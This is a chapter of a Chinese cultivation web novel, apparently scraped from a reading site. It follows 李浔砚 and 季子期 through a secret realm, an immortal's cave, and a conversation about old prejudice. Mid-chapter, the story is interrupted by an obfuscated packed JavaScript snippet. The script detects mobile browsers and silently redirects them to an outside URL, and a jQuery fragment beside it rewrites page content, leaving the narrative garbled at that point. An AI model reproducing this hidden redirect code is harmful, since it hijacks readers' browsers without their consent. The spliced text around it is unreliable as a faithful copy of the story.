文趣网 > 都市小说 > 渡渊[第四天灾修仙] > 19. 偏见
    “你认识我?”李浔砚上下打量着贺言安。

    “不认识。”

    “管你认不认识我,你先赔钱。”

    “好。”贺言安直接把还魂草交了出来,又用灵网转了五百上品灵石给她。

    虽然动作很痛快,但他的心也是痛得很快。

    “我还以为你是个穷小子呢,这不富得流油吗?”李浔砚看着自己灵网账户里的一串零,笑得很开心。

    “那我们就一笔勾销了,仙子以后见到我就装作不认识,我以后一定改邪归正。”

    “随你正不正邪不邪了。”李浔砚摆了摆手,就离开了。

    “多谢仙子。”

    “不过我可不会在婉晴面前说你好话了。”李浔砚狡黠一笑,施了张传送符就消失了。

    季子期紧随其后,两人到了一片林子里。

    “浔砚认识他吗?”

    “嗯,或许吧。”李浔砚耸了耸肩。

    见她没多说,季子期也没再多问。

    “多亏了你的寻物术,委托上的东西找齐了大半,没想到竟然这么快,早知道多接点委托了。”

    “多出的时间在秘境里找找机缘也是不错的选择,或许你真能碰到穹泽秘境的意识呢。”

    李浔砚倒是觉得自己没这个运气,好运在六百年前就用光了。她之前就来过一回穹泽秘境,当时都没遇到过的秘境意识,现在怎么可能碰见。

    “我们往北边走吧。”李浔砚提议道。

    她依稀记得北边有个天墟洞府,这里边是天墟仙人的洞府,里边功法和秘籍不计其数。

    “嗯。”

    如她记忆中的一样,穿过这片林子后,河的上游就是天墟洞府。

    洞府在瀑布之后,洞口还被茂密的藤蔓遮掩住,不凑近看会以为只是普通岩缝。此处还设有阵法禁制,若不找到阵眼就无法进入其中。

    “这里有禁制。”季子期说道。

    “嗯。”

    “我来破开吧。”季子期揽下了活,把破空剑从剑鞘中拔出。

    “破空剑感觉怎么样?”

    “很顺手。”说着,他灵力感知四周后,就用剑朝阵眼刺去。

    “如果持剑者与手中剑足够默契,极少部分剑会生出剑灵。”李浔砚说着,左手顺势放在了挽霜的剑鞘上。

    她一直觉得自己和挽霜的配合天衣无缝,可却迟迟没有剑灵出现。

    天墟洞府之内,平行空间交错纵横。二人迈步其中,转瞬便被传送至不同方位。

    季子期的脚刚着地,四面的石壁就弹出数千把飞刃。他足尖轻点,腾空而起,同时快速凝出水屏,叮叮当当的脆响不绝于耳。

    过了好一阵,飞刃的攻势才停歇,他刚松一口气,地面的泥石突然开始滚动,如堆雪球一般形成一个巨大的泥沙傀儡。

    傀儡一巴掌拍向季子期,他急忙侧身躲避,长剑出鞘,与傀儡缠斗一起。剑光交错,他不断寻找傀儡的弱点,瞅准时机,剑走偏锋,交手数十回合后,傀儡终于碎裂……

    李浔砚虽然许久未来过此处,可六百年的时间对她而言不过长眠一夜罢了,对这里依旧轻车熟路,没用多久就破开了重重关卡,前方的大殿豁然开朗。

    殿中流光涌动,逐渐出现天墟仙人的虚影。

    “天墟仙人。”

    “咦,抚椿真人?”

    “是,正是在下。”

    “我记得你的境界不是化神后期吗?”天墟仙人一脸狐疑。

    “修炼出了些岔子,境界倒退了。”

    天墟仙人看着李浔砚的眼睛,看出了她的那份苦衷,无奈地摇摇头:“唉,抚椿真人,天道之女的这一途讲究不急不躁啊,你切不可大意。”

    “多谢仙人告诫。”

    “你又来我这破烂洞府干嘛,该给的传承我可给完咯,该走的路你还得自己走。”

    “我在修行一途中遇到了些难题。”

    “不妨说来听听。”

    李浔砚知道秘境之中天道无法窥探,这也就放心开口:“六百年前,我只当符祟是寻常邪祟,可如今九州陷于水深火热之中,道华依旧我行我素。”

    “好在近些日子,我找到了破局之法。借助时空乱流,可将九州与蓝星人意识相连……”她把何复的事情和天墟仙人细细道来。

    “我想知道天墟仙人是否有什么功法,可以无需傀儡就能用灵力凝成人形,让蓝星人意识附着?”

    “哈哈哈哈哈,那你可问对人啦。当时我可没想过竟然还有这种破局之道,有些小法术也就没传授于你。”天墟仙人说罢,手指朝李浔砚轻轻一点,一团金色的光点没入她眉心。

    李浔砚立马盘腿坐下,开始吸收功法。

    季子期过了迷雾幻境,前方终于出现了大殿的模样。大殿中心正是盘腿而坐的李浔砚。

    “不错不错,筑基中期竟然在短短时间内就能突破我设下的重重阵法。”

    “原来是极品水灵根,怪不得……我这里正好有套功法,就传授给你吧。”

    天墟仙人指尖一点,功法《水龙吟》的一招一式就刻入了季子期的识海之中。

    待季子期吸收完功法后睁眼时,发现大殿中已没有了天墟仙人的身影,李浔砚正站在一旁看着他。

    “浔砚。”季子期浅浅一笑。

    “走吧。”李浔砚说道。

    两人离开洞府后,天墟仙人的虚影再度显现,他看向两人离去的方向,喃喃低语:“抚椿真人,你抚过的九州,春还没来吗?”

    天墟仙人算得上是李浔砚半个师父,在她第一次踏入他的洞府时,他就告诉了自己关于天道之女的真相。

    当时的自己嗤之以鼻,甚至一度怀疑这老头是不是邪教之人,毕竟谁会说出如此大逆不道的话来。

    直到天墟仙人说的话一一印证,自己的雷劫比寻常修士更加猛烈,莫名奇妙出现的仇家不断,但同时机缘却接踵而至。

    而所有意外获得的机缘都指向成神之路。

    最重要的是,在她突破化神境时,她在电闪雷鸣之间,看到了云层里的一双发红的巨眼。

    是天墟仙人说起过的现任天道——皇甫道华。

    李浔砚想不通,道华为何如此执着于天道这个名头,为了除掉自己,哪怕让九州万千生灵都陷入苦楚都无所谓吗?

    或许雷会继续劈下去,直到她神魂陨灭。

    这场无休无止的暴雨,会把九州都沉没于洪水之中吧。

    李浔砚护身阵法碎裂,天雷劈遍她浑身筋骨。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17673189|207408||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    是的,她最终死遁了,耗费八成修为,再配合修炼的回溯功法,她回到了穹华州的那间竹屋。

    等李浔砚再次睁眼时,已是六百年后……

    两人出了洞府,季子期说要试试新学到的招式。

    “嗯,那不如找妖兽练练手吧。”

    两个人一路薅光各种灵草,一路磨刀霍霍,看到妖兽就一个法术砸过去。

    “这招式可真不赖。”季子期感慨着。

    李浔砚不少招式都没用过,如今又进过一次天墟洞府,可是终于有好借口使出高级的招式了,之前每次用一记风刃甩过去,不痛不痒的,和刮痧一样。

    李浔砚各类法术层出不穷,一会手搓龙卷风,一会超强气旋倒拔垂杨柳。

    季子期瞠目结舌,是自己资质太差了吗?为什么仙人只传了他一个《水龙吟》……

    “风来!”李浔砚借风势腾空,又一剑砍下妖兽的头来。

    季子期看着她衣袂飞动,一身意气散落风中,他也提剑而去,一张爆破符在妖兽身上炸开。

    李浔砚回头看了眼季子期,发觉他周身气息微变,说道:“子期,你顿悟了。”

    所谓顿悟,即是刹那间勘破大道桎梏,一朝心念通透,可谓修习途中难得的蜕变。

    “是。”季子期应声点头。

    这次顿悟,或许是对自己心意以及修行大道的明了吧。

    两人可谓是蝗虫过境,所及之处寸草不生。

    中途难免有几个不长眼的修士来打劫,不过最终都是反被扒得底裤都不剩了。

    当然,这只是一个夸张的说法,作为“正人君子”的二人是断不可能做出此等行径的。

    偶尔季子期会装装傻大个来骗骗修士,不过也只是偶尔罢了。

    白日两人在秘境中寻找天灵至宝,夜间常是一人打坐修炼,一人在旁练习功法。期间季子期同她切磋过不少回,感觉自己的剑法精进了不少。

    “浔砚当时为何选择来玄玑族做客卿呢?”

    “当时玄玑族的客卿酬薪最高。”

    “族内的夫子酬薪似乎还要多上一百上品灵石来着。”

    “当夫子可累了,又要辅导你们的功课,还得陪你们早起练剑。空闲时间我宁愿多画几张符箓,把一百枚上品灵石挣回来。”李浔砚边掰手指边算着。

    “怪不得。”

    两人闲聊了一阵,说起了不少关于在族内的事情。

    “你当时好像对我有些偏见?”李浔砚撑着脑袋看着他问道。

    “当时年少不懂事……”

    “我又不批判什么,只是好奇问问原因罢了。”

    “你看起来太年轻了,这当然只是我年少的一种偏见,后来发现李客卿年纪轻轻就才华横溢,剑法高超,还精通……”季子期连忙如炮轰般说出一长串话来。

    “打住打住。”虽然这通马屁很让李浔砚受用。

    “其实我是个活了几百岁的老妖婆,你竟然敢瞧不起我。”

    季子期只当她在开玩笑,说道:“那又如何?这与任何东西都无关,年纪大阅历也不一定丰厚,或许有人在我这般年纪就已经走南闯北了呢,而我不过刚入九州。”

    “我年少的偏见已经被你打破了。”季子期笑道。